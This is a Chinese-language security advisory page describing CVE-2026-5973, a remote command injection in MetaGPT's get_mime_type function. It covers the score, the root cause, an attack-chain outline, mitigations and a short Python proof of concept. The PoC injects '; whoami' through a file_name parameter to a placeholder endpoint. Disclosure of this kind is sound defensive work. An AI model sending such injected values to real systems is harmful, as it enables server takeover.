IPBUF安全漏洞报告
English
CVE-2026-5973 CVSS 7.3 高危

CVE-2026-5973 MetaGPT远程命令注入漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5973
漏洞类型
操作系统命令注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FoundationAgents MetaGPT

相关标签

命令注入RCEMetaGPTCVE-2026-5973高危漏洞

漏洞概述

FoundationAgents MetaGPT 0.8.1及之前版本存在严重的操作系统命令注入漏洞。该漏洞源于 `metagpt/utils/common.py` 文件中的 `get_mime_type` 函数未能正确过滤用户输入。由于攻击者可通过网络向量远程利用此漏洞,且无需用户交互或认证,攻击者可执行任意系统命令。目前漏洞利用代码已公开,厂商暂未修复,对系统机密性、完整性和可用性构成严重威胁。

技术细节

该漏洞的技术根源在于 `metagpt/utils/common.py` 中的 `get_mime_type` 函数实现不当。该函数通常用于根据文件扩展名或内容判断文件的MIME类型,但在处理输入参数时,直接将外部可控的输入(如文件名或路径)拼接到了系统命令中执行,使用了诸如 `os.system` 或 `subprocess.call` 且未设置 `shell=False` 的不安全调用方式。攻击者可以通过构造包含Shell元字符(如 `;`, `|`, `&`, `$(cmd)`)的恶意字符串注入到参数中。当应用程序处理该参数时,操作系统会将其解释为多条命令,导致原始命令被截断并执行攻击者指定的任意指令。鉴于CVSS 3.1评分为7.3,且攻击向量为网络(AV:N),无需权限(PR:N),这意味着远程未认证攻击者可轻易利用此漏洞接管服务器权限。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找运行FoundationAgents MetaGPT且版本在0.8.1及以下的目标。
STEP 2
武器化
攻击者构造包含恶意Shell命令的特定文件名或参数,利用 `get_mime_type` 函数的过滤缺陷。
STEP 3
交付
攻击者通过HTTP请求向目标服务器发送包含恶意payload的数据包。
STEP 4
利用
服务器端 `get_mime_type` 函数处理恶意参数,将其拼接至系统命令并执行,导致注入的命令在服务器上运行。
STEP 5
安装与行动
攻击者利用执行的权限建立后门、窃取数据或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: CVE-2026-5973 MetaGPT get_mime_type OS Command Injection # Description: PoC to demonstrate command injection in the get_mime_type function. target_url = "http://target-host:port/api/vulnerable_endpoint" # The payload attempts to execute 'whoami' command using a semicolon separator # Assuming the parameter 'file_name' is passed to get_mime_type payload = "; whoami" malicious_data = { "file_name": f"test.txt{payload}" } try: response = requests.post(target_url, data=malicious_data) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body:") print(response.text) if "root" in response.text or "www-data" in response.text: print("[!] Command Injection Successful!") except Exception as e: print(f"[-] Error occurred: {e}")

影响范围

FoundationAgents MetaGPT <= 0.8.1

防御指南

临时缓解措施
在官方补丁发布前,建议通过WAF(Web应用防火墙)拦截包含常见命令注入特征符(如 ;, |, &, $, `)的流量。同时,检查代码中调用 `get_mime_type` 的位置,添加输入清洗逻辑,确保文件名仅包含合法字符。建议仅在受信任的内网环境中运行该服务,并禁用不必要的外网访问接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表